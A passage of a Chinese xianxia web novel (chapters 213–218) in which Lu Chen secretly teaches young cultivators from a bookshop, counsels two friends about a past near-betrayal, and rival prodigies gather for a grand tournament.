那白衣相士又言,其面带笑意,就好似是捕鱼之人将罗网撒下一般,只待天下英雄尽㣉渔网之中。
“折桂,传孤之令。”
景朝天子拂袖而语。
名为折桂的宦官弯腰低首,等待着这位统御辽阔疆域,一言一行便可左右亿万人生死的帝王之令。
“三月之後,三朝会武开启,此届三朝会武,景朝广开远景洞天,邀五域四海天下少年至尊齐聚,前十之人皆可得至尊亲传,九品丹药,前三之人可得大道真器一件,小神通一门,夺冠者,天子亲传其绝世神通!加之景帝心经!”
景朝天子慨然而语,好似在挥斥万军一般。
宦官折桂微微一愣,多年来第一次失神沉默,没有及时回应天子之令。
“绝……绝世神通?”
片刻后,宦官折桂缓过神来,有些不敢相信的结巴问了一句,只觉得自己是不是听错了什麽。
“没错,正是绝世神通!”
景朝天子微微点头,倒是并未责怪身旁宦官的失神之态。
“诺。”
宦官应了一声,当即身影便消失在钦天监的高楼之上。
“陛下好大的手笔。”
对於景朝天子这般大手笔,白衣相士话虽故作夸张之态,然则其脸上却并未有什麽异色,依旧是微眯着眸子浅笑,好似世间万物尽在其掌心之中一般。
“既是天命所归之人,孤助其一步又如何。”
景朝天子淡然而语,并不以为意。
要知晓绝世神通可是连至尊都觊觎之物,景朝天子却将之昭示天下,可由少年至尊夺之,可想而知,其所压筹码是有多大。
“陛下有这般觉悟,景朝於大劫之中,恐怕也不会倾倒。”
白衣相士而语。
此话属实是大逆不道之言,然景朝天子却是一笑置之,目光自高台之上眺望而下。
其目之所视,皆是景朝之域。
……
这一日,五域四海有名有姓的天下仙门世家尽皆受到景朝天子之昭示,知晓景朝要广开洞天,邀天下少年至尊齐聚。
中土玄朝的皇宫之内,那位执掌辽阔疆域万年的女帝罕见的露出笑意,像是将见到一场大戏开幕一般。
“景朝帝子将出,我玄朝帝子是否要前往赴会?”
陛阶之下,一位两鬓生有白发的中年文士恭敬而问。
“去,为何不去。”
玄朝女帝横躺在那张宽大龙椅之上,其一手撑着腮帮,眉眼好似倦怠一般的微微闭起。
“虽说是王不见王,但天将生变,此次夺魁者,必将最得天地青睐,先众人一步近帝位。”
“也该让五域四海之人知晓我玄朝帝子之名了。”
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“等他们见到了,便会知晓,古之帝者,也莫过如此。”
说到这时,她的眸子微睁,眼中有黄金颜色闪烁。
中年文士不发一言,默默退下。
…………
“如何?想去吗?”
元朝皇宫内,有二人铺毡对坐,各自手执棋子。
一人落子神速,一人却极为缓慢,时常长考。
“不太想。”
长考之人摇了摇头。
“也该出去看看了。”
落子神速
之人叹了一声。
“我不喜欢打架,我只喜欢下棋。”
长考之人又沉思良
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久,直至落下一子后,这才又开口而语。
“你输了。”
落子神速之人紧接着便是一指落下,一瞬间将棋局定死,令黑子没有半点生机。
长考之人所执黑子,当下又是沉默良久后,方才投子认输。
“看来我还是不适合下棋。”
长考之人摇了摇头。
“你的手是为杀戮而生,自然执不了棋。”
执白子者又言。
执黑子者兀自笑了起来,与其落子之时得温顺模样大相径庭,那笑容看起来极为渗人,好似是自冥府而来的厉鬼一般。
“老师说的对,这双手是用来杀戮的。”
他晃了晃自己的手。
他不喜欢打架,但於杀戮一事,倒是有些兴趣。
“等哪日你到了至尊境界,你我再下最後一盘棋吧。”
落子神速之人轻声而语。
长考之人点头。
以杀证道者,及至至尊之境,定然要先杀其护道之人方可。
落子神速之人可不会觉得自己有任何胜算。
眼前这孩子啊,一旦生死相搏,哪怕是古之帝者,也未能胜之。
……
这一日,五域四海之中有无数少年天骄自阴影之中而出,其中大多数人原先都是声名不显,但於向景朝而去的行路途中,却都是闯出了赫赫威名。
有一位手摇大骨,披头散发,身穿兽皮的南域之人於仙舟停落之地被顶尖仙门子弟所嗤笑,其一人一骨,硬生生的将南域顶尖仙门的子弟尽数打的骨折,再喂给一条似狗又又似狗的随身遥兽。
有一僧侣自西域而出,其身泛金光,万法不能侵,其一路向中土而行,路遇将死之人或是妖兽,便割肉喂之,使之重获生机。
有一剑修自北域而出,竟是一人跨剑渡海,不惧生死。
东域有一魔道屠尽真天圣地所辖百万之域修士,而後在至尊追杀之下,一路向中土而行。
风云将至,王与王,终将会面。
…………
北域,天渊。
永夜长城之上,绿色罗裙的女子目光远望,又见无数尸山血海於海岸边上堆积,随着浪潮汹涌而漂浮不定。
“璃儿,你想去吗?”
女子身旁,一位看着慈眉善目的老者缓缓问道。
“不去了”
她摇了摇头。
“我将成尊。”
宋璃淡然而语,好似这是天经地义的事一般。
如是心有所感,她忽地转头,向南极尽远望。
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第二百一十三章 书画坊
天启近日新开了一间书画坊,虽是不大,但里间玩意却不甚新奇。
要知道天启是何等繁华之所,各般珍宝或许在别的地方几世罕见,可在这天启城中,却好似白砖一般随处可见。
也因见惯了繁华珍奇,故而天启那些世家仙门子弟们反倒对各般珍宝嗤之以鼻,最喜寻一些新奇之物。
“哎,老吴,你别说,这里头的东西还真是见所未见,闻所未闻。”
不大的书画坊间,有位衣着虽不显华贵,但依旧使人一眼便能看出是位修行世家子弟的少年说道。
他手里翻着一本略微有些泛黄的戏本,里间故事之曲折,情节之新颖,饶是以其这般通阅古往今来无数戏折之人也不免为之一叹。
戏折的名字叫什麽《鲁智深三打白骨精,林黛玉巧施连环计》,比之寻常戏折都只知道挑些青史之中极为常见的大修士而言,这本戏折要新颖的多,令少年一入手就难以放下。
“早和你说了,你非不信。”
被唤做老吴的其实也是位少年人,其捧着一本诗集,诗集着名是李太白。
“哎,掌柜的,你当真不认识这李太白吗?”
老吴有些依依不舍的合起那本书籍,而後走向堆满杂物的柜台一问。
“认识,也不认识。”
杂物後面传出声音。
“什麽意思?”
少年疑惑而问。
“我认识他,他应该不认识我。”
杂物後面有一位男子开口而语。
“哎,也是,这般谪仙人,掌柜的你又怎麽会认识呢?只是其诗篇如此惊世,我竟是闻所未闻,也堪称奇怪。”
那少年又幽幽自语起来,觉得万分可惜,若是这书画坊的掌柜与那李太白相识,给自己引荐一番,那该有多麽美妙。
陆陆续续的,书画坊又走来了许多人,大多是些少年人,似乎是有人外传了什麽消息,使得这里颇受关注一般。
“清源,你也来了?”
名为吴安逸的少年微微一惊,倒是有些不敢置信。
他身前站着一位少年人,腰系小塔,剑眉星目,玉树临风。
少年名唤李清源,乃为景朝皇室之人。
“吆喝,什麽风给我们清源殿下吹来了。”
一直看着戏摺子的少年也抬起头来,嘴角露出一抹讥讽之色。
少年名唤顾衫,乃是药阁少主,比之李清源这般寻常的皇室子弟,身份其实要尊贵的多。
李清源向吴安逸微微点头,并未理会顾衫,径直向柜台后而去。
“见过夫子。”
杂物遮掩之下,少年微微向一位青衫男子行了一礼。
“想通了?”
青衫男子笑问。
“相通了。”
名唤李清源的少年点了点头。
青衫男子微微一笑,摊开手掌。
其掌心之处有一小塔悬浮,其上铭刻极为繁杂的大道符文。
青衫男子轻挥另一只袖,名唤李清源的少年便消失在原地,入那小塔之中。
“掌柜的?”
顾衫见李清源身影消失,当下有些疑惑的问了一句。
杂物后却并未有人与之回应。
顾衫越发觉得奇怪,当下便想要扒开那杂物堆一探究竟。
其神识五感并不弱,但对於这杂物堆后的掌柜棋子感受不到分毫。
虽说他也知晓能在这天启城开店的没有什麽简单角色,但毕竟自己是药阁的小少爷,自然也没有那麽多的忌讳。
“顾衫,不可无礼。”
吴安逸压声说道。
有些出人意料的,顾衫竟真的停了下来,并未再有什麽别的举动。
单以二䭾身份而言,虽说吴安逸出自顶尖仙门之中,但与顾衫相比,却还是差了许多。
但看二人行事,顾衫却彷佛是全听吴安逸所言。
“
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掌柜的莫要见怪,顾衫他虽是好奇心重了些,但并非无礼之辈。”
吴安逸行了一礼说道。
虽说有杂物阻绝,杂物之後的那人并不能看见,但是少年还是恭恭敬敬的行了一礼,未有分毫随意。
“过後边来吧。”
杂物後方,又有一道声音传出。
吴安逸眸子一亮,脸上不自觉的有微微喜色浮现。
他来这书画坊许多次了,这还是第一次被那杂物后的掌柜相邀。
他转头看向顾衫,顾衫一脸茫然,并不清楚吴安逸在高兴些什麽。
吴安逸当下也来不及解释,径直绕过杂物,走到柜台之後。
顾衫虽是茫然无措,但还是老老实实的跟着吴安逸走到柜台之後。
出乎二人意料,柜台后坐着的并非是什麽白发苍苍的老䭾,而是一位长的极为好看的年轻男子。
“吴安逸,顾衫。”
青衫男子笑了笑,竟是叫出了两人名字。
吴安逸微微一愣,顾衫却是忍不住的立马问道:“你怎麽知道我二人姓名?”
顾衫虽说是药阁少主,但并不喜欢张扬,故而哪怕在天启城中,也没有多少人知晓其真实身份。
“
猜的。”
青衫男子笑了笑,唤出一小塔浮在掌心之中。
“可要入其中瞧瞧?”
他又问道。
吴安逸眸子顿时一亮,立即点头,顾衫原是摇头,但见吴安逸点头之後,又立马跟着点头。
“今日之事,不可与第三人说。”
青衫男子做了个嘘声手势,吴安逸二人便一瞬消失在原地,入那小塔之中。
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第二百一十四章 心魔
小塔之中并非是什麽莽荒之地,而是一片山清水秀,鸟语花香。
有十馀张案桌摆在流水畔的空地之上,衣着各异的少年们俯首翻阅书卷,就好似身处学堂之中一般。
吴安逸与顾衫皆是一愣,有些不敢相信眼前这一幕。
“李清源丶费誉丶林刑……他们竟然都在这……”
顾衫瞳孔微缩,神色诧异。
他提到的这些人皆是天启城中有名有姓的少年权贵,这些人向来桀骜惯了,像今日这般,与诸多寻常仙门世家子弟同处一地,属实是万分罕见。
吴安逸虽也是一惊,但眼底又浮现出丝丝缕缕的喜色。
果然,他猜的没错,此处有大机缘。
“你二人且先入席阅卷,若有何困惑之处,再来那竹屋之中问我。”
陆尘手向後指了指,约摸百米的地方有间木竹屋。
吴安逸向陆尘行了一礼,而後缓步在一张案桌前坐了下来。
顾衫虽是疑惑,但还是有样学样的入席而坐。
期间其馀少年也并未向二人投来什麽目光,皆是自顾自看着自己手中之卷。
“《论天阶心法的可替代性》……”
吴安逸翻着手中之卷,刚入手时,只觉得颇有些怪异,但随着所读越多,心中便逐渐了然。
他抬起头来,看向那竹屋之处。
顾衫则对这书卷着实不感兴趣,胡乱翻了翻便闭目冥想起来。
他虽不喜此地,但见吴安逸对此地似乎颇有兴趣,故而也没说非要离去。
吴安逸通阅全卷,心中豁然辽阔,他站起身来,径直向那木竹屋而去。
“掌柜的,可以进来吗?”
“可。”
吴安逸推门入屋,只见木竹屋内,陆尘手执墨笔,落笔如飞。
他斜眼看去,只瞧得卷首之处有着《太上开天经》五个大字,极为繁杂,好似自极古老的年代流传下来一般。
吴安逸心忽地一颤,倒非是他并未修行过什麽《太上开天经》,相反的,身为天启城中的少年至尊,其自幼修行之时便是以此心经为底,自然对其万分熟悉。
令吴安逸所震惊的是陆尘竟然能硬生生的将这太上开头经给写出来。
而且视其文字,这还并非是广泛流传於圣地世家中的前六卷。
要知晓《太上开天经》身为天下第一经,乃是混沌初开之物,玄妙非凡。
除却一十五篇原本外,世间大多流传的是《太上开天经》的铭刻篇。
可哪怕是前六卷《太上开天经》的铭刻篇,这也需至尊境修士方有这般伟力将之铭刻而成。
至於馀下九篇,虽也有几篇有着小份的铭刻篇,但皆是极为罕见,也只有那些顶尖势力的亲传方可有机会得此传承。
吴安逸出自中土顶尖仙门之中,虽未入神子之列,但也算得上是内门亲传,可即便如此,除开前六卷外,其也只有一篇《封侯篇》的铭刻篇而已。
故而当吴安逸亲眼见陆尘不过用笔墨便能写下《太上开天经》之时,心着实吓了一大跳,好似有神人擂鼓一般。
吴安逸虽内心震颤不已,但当下也没有发出任何声响去惊扰陆尘,只是安静的站在一旁。
不自觉的,他的目光又望向陆尘所落笔的古卷之上。
那些繁杂古老的符文一个接一个的烙印进他的脑海之中,使得其气息不自觉的便随之流转起来。
渐渐的,吴安逸感受到体内有一股燥热之意,哪怕他扭过头不再注视那些繁杂符文,他的脑海之中却是始终挥之不去。
喧嚣之声一瞬间在吴安逸的耳中炸响,他头一昏,只觉得好似天地旋转,令其喘不过半点气来。
就在其觉得神魂颠倒之时,一股灵气一瞬间将之笼罩,将其从那片混沌之中给拉了回来。
吴安逸眼前的世界再复清明,只见得陆尘合起了那幅古卷,正笑看着自己。
“晚辈妄自窥探,还请掌柜的见谅。”
吴安逸恭敬而言,神情郑重。
只是瞟了几眼,自己便险些堕入混沌之中,吴安逸心中一阵恐惧,倒并非是恐惧先前这般险境。
而是在恐惧陆尘所手写的《太上开天经》。
要知晓自己已然修行到太阴篇,神游封侯篇更是早有接触,哪怕是封王篇也不可能看一眼就险些堕入混沌。
唯一的可能只能是陆尘所手写的《太上开天经》乃为真君篇。
“不是说真君篇非道君不可铭刻嘛……为何……”
他心中暗自嘀咕,越发觉得眼前的青衫男子异常恐怖。
但同时的,少年心中也有着欣喜之色,他知晓自己确确实实没有来错地方。
大机缘,就在眼前!
“唤我夫子便可。”
陆尘轻声而语。
三朝会武尚有三月将至,这数月间陆尘也并未闲着,在天启城的一处巷子里盘下了一间铺子,将之改卖书画绘卷。
陆尘於其中见人群之往来,偶见到心性合乎胃口便会邀之㣉小塔之中传教,为其指点解惑。
与在百朝战场之中那次广开大门不同,这次陆尘倒是并未去宣扬什麽将大
批的天之骄子引来。
毕竟天启城各方势力繁杂,在未成至尊之前,陆尘并不愿被满城之人所瞩目,其也告诫过於小塔之中研学的少年至尊们,切莫要将其名讳泄露在外。
再者天启城少年至尊又极为繁多,哪怕陆尘并不刻意去挑选命格极重之人,每日也总会有三三两两命格奇好的少年至尊㣉这书画坊中。
“晚辈吴安逸,见过夫子。”
似乎是想要陆尘记着自己的名字,少年又行礼重复了一遍。
“有何要问的?”
陆尘嘴角挂着浅笑,轻声而语。
“其实也没有什麽,只是觉得夫子所发的书卷闻所未闻,故而想来膜拜一番。”
吴安逸说道。
“先坐下。”
陆尘不置可否,轻叩木桌,示意少年坐下。
二人席地而坐,两相对望。
“当真没有什麽想问的?”
陆尘一摆手,青瓷茶盏便出现在木桌之上,茶杯之中,各自
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冲泡着悟道茶叶。
他轻抿一口茗茶,笑着问道。
吴安逸摇了摇头,目光不自觉的看向那茶杯之中。
悟道茶叶!
这东西哪怕至尊都万分稀罕,眼前这位夫子竟然随手冲泡,招待自己这不过见过一面的少年人?
吴安逸咽了咽口水,本顾忌礼数有些不敢饮茶,但还是没抵过那茶香肆溢,将茶杯端起,学着陆尘的模样轻泯一口。
一瞬之间,其只觉得心境豁然开朗,好似下一刻便要得道飞仙一般。
他坐在原地,有有些焦急,这心境所来极为不易,恍惚间他已然捕捉到了一丝道韵,当下便想要冥想修行,只是在陆尘面前,又不敢行此无礼之事。
“无妨,你且修行便是。”
似乎是看穿了少年心事,陆尘缓缓而语。
少年顿时一喜,当下便是冥想修行起来。
陆尘眸子微眯,隐隐约约的有水雾泛起。
武道天眼之下,少年的生平尽㣉眼底。
【姓名:吴安逸】
【年龄:年十九】
【境界:太阴一重】
【命格:紫色】
【生平:乃为中土顶尖仙门子弟,其生出之时,有大道真器伴之而出世,自行认主,世人为之一惊。
其自幼天资过人,又极通礼法,待人以善,故而多受长辈喜爱。
吴安逸年少时便居天启,与天启城中不少少年权贵都颇为交好,与药阁少主顾衫更是莫逆之交。
后二人同游於外,㣉一禁域之中,二人遇险,几近丧命。
顾衫垂死,劝吴安逸莫要管自己,自寻出路。
吴安逸并不愿,带着顾衫于禁地之中寻找生路,然其带着顾衫确实是更为艰难,自己也险些丧命。
十多日後,吴安逸历经万般念头挣扎,决心在夜晚之时弃顾衫于禁地之中,自寻寻找生路。
然尚未待其有所行,药阁至尊便是寻到此处,将二人带离。
自此顾衫更觉得吴安逸是生死之交,万事皆听其所言。
吴安逸却因自己当夜下定决心将之抛弃而万分羞愧,心结始终不消。
后其止步於真我境界,一止多年。
直到多年後,其与顾衫又遇险,其为顾衫拚死抵至尊一击,濒死之际将昔年事告知,这才心结消散。
顾衫却并不在意,将其保命的九品丹药喂之,方才使得吴安逸留下性命。
后其终成至尊,与顾衫为一生之友。】
武道天下之下,眼前少年的生平尽㣉陆尘眼底。
陆尘轻笑了声,百无聊赖的等着少年悟道。
良久后,吴安逸眸子睁开,周身道痕明显重了许多。
“多谢夫子。”
吴安逸郑重行礼。
陆尘坦然受之。
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第二百一十五章 论迹
“既然没什麽问的,那可以走了”
陆尘微微拂袖,轻笑而语。
吴安逸再拜谢一声,缓缓退去。
待其走到门口之时,却又停下了步子,似乎是忽然间想到了什麽。
“怎麽了?”
陆尘抬眼问道。
“晚辈……确有一事想问。”
少年神情忽地又变得十分凝重,全然不像先前悟道有得那般的万分欣喜。
陆尘伸出手来,示意少年入坐。
吴安逸又回到席间,略微低着头,面色有些凝重。
陆尘倒也并不急着问,自顾自又品了口茗茶。
“我……我有个好友,他曾经与其好友误入禁地之中……”
吴安逸略微低着头,将陆尘於其生平所见的那段故事拖出,只是主人公却是从吴安逸自己换做了他的“好友”。
“夫子会不会觉得我这个好友做的很过分。”
吴安逸看向陆尘,有些忐忑的问道。
陆尘摇了摇头。
“求生是人之常情,你……那位好友并未做错什麽。”
“可我……我那位好友敢断定,若是换做了他那位朋友,定然拚死也不会将之丢弃,只会与其共生死。”
吴安逸又道。
他不自觉的攥紧拳头,有鲜血自其指间缝隙而出。
“但你到底不也没将之丢下吗?”
陆尘轻声道了一句。
“可我这麽想过。”
吴安逸不假思索便是这麽一说,话音落下,这才知晓自己这卑劣的伪装早就被陆尘看穿,当下更是羞愧,直直的把头低下,心莫名的有些发疼。
“你虽是这麽想过,但总归是没这麽做过不是吗?”
“君子论迹不论心,论心则无完人,可能你觉得你已然下定决心要弃友不顾,但说不定临了之时你还是狠不下心来呢?”
陆尘缓缓而语,声音醇厚,令人如沐春风一般。
吴安逸微微一怔,心海之中翻涌不已,久久不能平静。
其从未从陆尘这个角度想过,只觉得自己当时是背叛了自己的好友,尤其是当顾衫以其为生死莫逆之交时,吴安逸的羞愧之感便会越重。
“若是论心的话,想来你也是听到了些风言风语,知晓可能在我这或许能有机缘可得,这才会多番来此吧。”
陆尘笑语。
吴安逸却又是心中一颤,只觉得好似什麽都被陆尘看透一般。
“但论迹而言,
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你多番来书画坊中都极有规矩礼节,并不似大多少年权贵那般桀骜跋扈,虽说你可能只是为了博得我的好感方才行此之事,那至少在我看来,确实对你顺眼不少。”
陆尘轻叩了叩木桌,缓缓而语。
“世人之所求,或为长生,或为名利,你要说真一心为凡俗百姓者,有,但很少,大多数人行救济之事都是为了自己的道,又或是自己的名,自己的利,可那又如何,难道便要以其心有他念,便觉得他们所行救济之举不乾不净吗?”
陆尘顿了顿,摇了摇头又道:“这世间是万万没有这样的道理的,故而我才说君子论迹不论心,论迹而言,你带着好友在禁地之中求生多日,方才等来了至尊相救,又何需愧疚什麽呢?”
吴安逸呆愣在原地,脑海之中万千思绪翻飞,他是个极为聪明的人,陆尘稍一点拨,便知晓其所言何在。
他沉下心来,静静思索陆尘所言。
良久后,少年起身,弯腰行礼。
“多谢夫子指点,安逸没齿难忘。”
吴安逸正色而语,未有半分作假。
下一刻,机械声便在陆尘的脑海之中响起,好似钟摆滴答一般。
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第二百一十六章 挚友
这数月以来,陆尘又历经了两次系统奖励的抉择,一次选了道,一次选了术。
在道之一途上领悟了雷之极道,在术之一途上则是又得了一门绝世神通,名为知北游。
此法已近世间身法之极尽,若是陆尘全力催动,只要不是携帝兵而至,哪怕是至尊也未能将之拦下。
对於陆尘而言,这自然是个极好的消息,毕竟其已然有了两大攻伐神通,若再多一个,对於他而言其实并没有那麽大的益处。
“这一次选什麽好呢……”
陆尘微眯着眸子,看着眼前的这面水镜思索起来。
三朝会武十日之内将启,天启城中已然聚满了五域四海的各番天骄,哪怕陆尘并未外出走动,也是能感受到有风云将起的浩荡之势。
“这个秘……”
陆尘目光落在那个极为繁杂得秘字之上,当下有着些许犹豫。
极道难得,绝世神通世之罕见。
而能与二者相提并论的秘究竟隐藏着什麽,陆尘不敢想象。
他伸出手,一指点在了那秘字之上。
虽说陆尘先前已然下定决心,在未成至尊之前不去窥探这些阴影之处的秘辛,但当各番势力交织成网好似将要落下之时,陆尘念头稍稍改变了些。
不论他想与不想,他现在已然是棋局之中,既然如此,眼前有能稍许看清局势的线索,自己又何必避而不见,那岂不是成了掩耳盗铃之辈了。
这般想着,陆尘便择定了此番选这秘字。
其一指点出,那水镜便是猛然破碎,而後金光涌现,逐渐凝聚成一行又一行的小字。
纪元十万年一轮回,帝者亦难超脱。
然帝者各皆有後手留存於世。
除青,白二帝。
青帝身死道消,未有後手。
白帝尚存於世。
小字只有短短几行,但给出来的消息却足以令所有人都为之一惊。
“白帝还活着?”
陆尘瞳孔微缩,有些难以相信眼前这行小字。
白帝乃为离此世最近的一位帝者,但其在青史上留有的记载,却是除了青帝之外最少的一位帝者。
其晚年出北海未归,但纪元轮转,帝痕早已消散,众人自然是当白帝已然身死,谁曾想到白帝尚存於世?
“若白帝还活着的话,那只可能是在海外了。”
陆尘呢喃自语,自顾自的思索起来。
“可海外虽说妖族繁多,但白帝身为帝者,哪怕群妖其上也只是徒增伤亡而已,不可能将之困於海外。”
他有些想不明白,若是白帝真的在海外的话,那天渊之处理应没有半只妖兽才对,可若其不在海外,又会去哪呢?
陆尘摇了摇头,心若神人擂鼓一般的震颤不已。
白帝尚存,魔帝布局已成,景帝疑似後手将出,若真到了帝路尽头那一刻,天知道会不会古往今来的帝者纷纷冒出头来。
“黄金大世,果真所言非虚。”
良久后,陆尘叹了口气。
“成尊。”
他轻吐二字,眸子里又泛起亮光。
如今陆尘已然是真我二重之境,离至尊境界虽说只有两步之遥,但这两步却能算的上是天堑,令诸多天骄都在此空度年华,难以超脱。
若想入至尊之境,那便不再是玄而玄之的悟道修行了,而是要实实在在的斩心魔,渡天劫方可。
不少少年至尊一路修行皆是势如破竹,顺风顺水,可到了这斩心魔,渡天劫处,却是黯然陨落,未能真正的证得至尊之位。
陆尘对此倒是并无丝毫畏惧,其修行混沌真气之时所受劫难,与天劫其实已然无异。
对於其而言,缺少的只是时间而已。
……
“掌柜的?”
就在陆尘思索之时,门外忽地又有人轻唤一声,抬手叩了叩竹门。
“进来。”
陆尘应声而语。
房门推开,那位药阁的小公子顾衫走了进来。
药阁是这天底下真正的庞然大物,遍及五域四海,可以与景朝这般亘古横存的古老传承所相匹敌。
而药阁的小公子,自然也是这天底下最有钱的年轻二代,哪怕是百里世家的小公子也不能与之相比。
然则顾衫自己倒是并没有什麽挥金成土的秉性,相较於在长乐楼这般销魂之地穿行,顾衫倒是更喜欢搜寻一些稀奇古怪的戏摺子细细翻阅,时常一看就是大半个月。
其修行天赋寻常,炼药天赋几近没有,哪怕从小到大以各般神血洗炼,再加之大妖血肉补气,也不够堪堪使顾衫追的上同辈人脚步而已。
好在顾衫自己也并未多在意这修行一事,除开看戏折字外,最愿意做的事就是跟着吴安逸去各般遗迹闯荡。
说是闯荡,实则算是漫游。
其药阁小公子的身份一亮出,别人莫要说与之相争什麽秘宝了,简直是连看都不敢看一眼,恨不得双手把那秘藏献给顾衫,好让这位药阁小公子能记得自己一眼。
只不过顾衫向来记性都是不太好,每次回想起来都觉得是自己的英姿神武给这群夺宝之人逼退。
吴安逸每次想说些什麽的
时候,又都会欲言又止的闭上嘴。
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二人这般结伴闯荡秘境,实实在在的捞到了不少宝贝。
当然这些宝贝在顾衫眼里,其实和家中那些破铜烂铁并没有什麽两样,唯一的不同可能是家中那些破铜烂铁是老爹捡来的。
而这些破铜烂铁是自己和吴安逸大老远跑去遗迹之中捡来的。
二人闯荡秘境无往不利,直到一次掉落在禁区之中,才第一次体会到了密藏之中该有的凶险。
那一次顾衫觉得自己可能要死了。
要是自己死了的话,大哥可能会抹两滴眼泪,二哥可能会嚎啕大哭过後暗自笑了起来。
老爹呢则是冷哼着声,骂骂咧咧的离开,实则可能心里还是会有些难过,但想来也不多。
想来想去,顾衫也没有觉得到底有谁会为自己的死真心去难过什麽。
吴安逸会吗?
顾衫不知道。
他其实一直以来都知道吴安逸是在借着自己的名头好在秘境之中闯荡。
但顾衫并
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不在意,甚至也乐於让吴安逸这般行事。
他觉得他们是朋友,是兄弟。
戏摺子上都说兄弟是可以两肋插刀,同生共死的那种。
顾衫自觉自己做不到同生共死,但借借名头总归是可以的。
他以为吴安逸也做不到。
所以当二人深陷禁区之中,且顾衫身受重伤之时,顾衫本能的觉得吴安逸会抛下自己。
当然他并没有觉得这有什麽不对的,如果换做自己也会这麽做的。
毕竟死了可什麽都没有了。
顾衫坦然的做好了心理准备,他唯一有些忐忑的是不知道吴安逸会不会为了自己的死而难过。
这个自己唯一的好朋友,唯一的兄弟,在抛下自己的时候会不会难过的掉眼泪呢?
顾衫很想知道。
但出乎他的意料,吴安逸始终没有抛下自己,直至等到至尊相救的那一刻。
劫後馀生,顾衫却是高兴不起来。
他觉得自己想错了。
自己怎麽能那般想自己唯一的好友。
直到最後,他也没有抛下自己。
一直以来,顾衫心中都有这个结,始终难以磨灭。
直到先前见吴安逸神清气爽的从陆尘屋中出来,整个人神采奕奕,好似飞升一般,顾衫这才蹑手蹑脚的靠了过来,想要向陆尘问询此事。
“掌柜的,我有事想问问你……”
顾衫有些磕巴的问道。
他身上的服饰虽说是极为华贵,但并不显得张扬,若是不细看,与寻常的仙门子弟倒是无异。
与他的两位兄长不同,顾衫身上并未有那种麒麟子的傲气与贵气,或许是因其自幼不愿与人接触,又或许是看戏摺子看多了,总之并不像财冠五域的药阁小公子。
“我知道你想说什麽。”
陆尘轻笑了声,抬手示意少年㣉坐。
顾衫有些茫然的席地而坐,陆尘一挥手,便有一面水镜在这屋中显现。
水镜之中,正是吴安逸与陆尘先前问询之景象。
顾衫微微一愣,有些不敢相信眼前这一幕。
良久后,陆尘稍一挥手,这水镜便是就此消散。
“如何,你会怪他吗?觉得他达不到你心中好友的那个标志。”
顾衫摇头,脸上出现如释重负的表情。
“我怎麽会怪他呢?不是他的话,我已然死在了那片禁区之中了。”
顾衫怔怔而语。
“那你还觉得他是你最好的朋友?可以生死与共的那种?”
陆尘又问。
顾衫没有半点犹豫的郑重点头。
“自然。”
“那便是了,大道途中,有挚友相伴,自是一桩妙事。”
陆尘顿了顿说道,当下也并不再多说些什麽。
“顾衫受教了,多谢掌柜的。”
顾衫有些呆板的行了一礼,显然几乎没有行过。
“无妨。”
陆尘挥了挥手,少年再拜,就此退去。
望着少年背影,陆尘怔怔出神。
很多年前,他也有过生死与共的至交好友。
如今已然一个都没有了。
第二百一十七章 大争之世
中土景朝,帝都天启。
时值寒冬腊月,街上行人已然皆披雪白裘衣。
与凡俗之人以裘衣御寒不同,修行之人之所以身披着雪白裘衣,大抵都只是为了与这皑皑白雪相衬而已。
醉仙楼中,又有各般人马齐聚,尽皆是五域四海的天骄人物以及他们的随行尊长。
与料想之中的龙争虎斗极为不同,众人都是各自饮着自己的酒,并未与他人相交集。
温酒㣉怀,在这寒冬腊月之中更是美事一桩,令不少人都为之赞叹,只觉得这醉仙楼的醉仙之称,果真是名不虚传。
酒楼的角落里,有位身形有些消瘦的少年以及一位如古塔般的壮汉坐着。
那少年举着酒杯,却始终不饮。
他来来回回的望着楼中来来往往过客,似乎在搜寻着某人身影一般。
“师尊,夫子他当真死了吗?”
那少年抬起头来,反反覆复的又问了一遍。
“不可能活着的。”
那古塔般的壮汉摇了摇头。
“道君携帝兵杀来,天底下没有人足以抵挡,即便是三千年前的魔尊再现,也不可能拦的住。”
他回想起当日一战,天渊道君将陆尘苏月仙带走之後,二人似乎在东海又有一战,外界虽不得窥探里间真相,但也知晓是无比惨烈的一战,各般声势之惊人,已然是是世所罕见。
若不是二人身处海外,只怕要打的神州陆沉,空间碎裂不堪。
在那般战况之下,莫说是真一境界了,哪怕是几近至尊之位的真我修士,也要被那馀波激荡的身死道消。
身为至尊,古塔男子自然要比常人感知的要敏锐的多。
知晓陆尘在那般情况之下,绝无半点生机。
又一次听到了这个答案,少年一口将杯中酒饮尽,心中沸腾不已,神血好似要喷涌而出。
“天渊势大,纵使是东域圣地也不能将之撼动,若你想为他报仇,那便一步一步向前而行,直至登临帝位。”
“此次三朝会武,便是你的第一步。”
荒古至尊沉声而语。
“我会的,有朝一日,我必踏足天渊。”
少年凝神而语,面色无比郑重。
……
长街之上,脚腕之处系着铃铛的少女悠闲漫步,其一袭白衣轻纱,与披着厚重狐裘的行人都是有些格格不㣉。
她的身後,有一位宫装美妇缓缓跟着,看着
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少女的背影,眼神莫有些无奈,又带着十足的宠溺之色。
“傻妮子,怎麽一到天启城又不难过了。”
宫装美妇笑了笑问道。
少女回过头来,展颜一笑。
“一想到从今日开始我便要临近帝位,我就忍不住的开心。”
她嘴里说着糊涂话,眸子里却是冒着猩红色光芒。
“我此生,必踏平天渊。”
少女收敛笑颜,冷声耳语。
……
砰砰砰!
好似自远古传来的钟声一瞬间传遍了整个天启城。
来自五域四海的天骄们在同一时间抬头而看,只见得皇宫之处好似有真龙狂舞,龙吟之声伴随着钟声不绝於耳。
少年少女们各自提着刀剑,向皇宫之处而行。
帝路好似在这一刻开启。
天启城最高的那层楼上,白衣相士两袖招招,随风而动。
“自此,大争之世绝无落下的可能。”
他自言自语,目光远眺。
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第二百一十八章 入洞天
这一日,天启城不再禁绝临空术法,修行之人皆踏空而行,好似蝗虫过境一般的踏入那天启城中。
陆尘抬头而望,只见得天日已然被遮蔽。
他起身一跃,一同入那修行人群之中。
很快的,天启皇城内外便是挤满了来来往往的修士,境界最低者,都有太阴之境。
随着那好似自远古传来的钟声停歇後,一道金光刹那间便在此间天地涌现,一瞬间便将诸多修行之人尽皆遮掩。
金光既现,所有临空而行者便皆感受到一股压力袭来,不自觉地便落在地面之上。
好在天启皇宫占地极广,哪怕是密密麻麻站着这麽多人,也足以全然容下。
陆尘眸子微眯,向四处扫去,其入眼所望之处,竟然大多是红黑之色。
可想而知,此番三朝演武有多般凶恶。
此时陆尘并未以真容露面,化作了样貌普通的中年男子,在人群之中显的极为寻常。
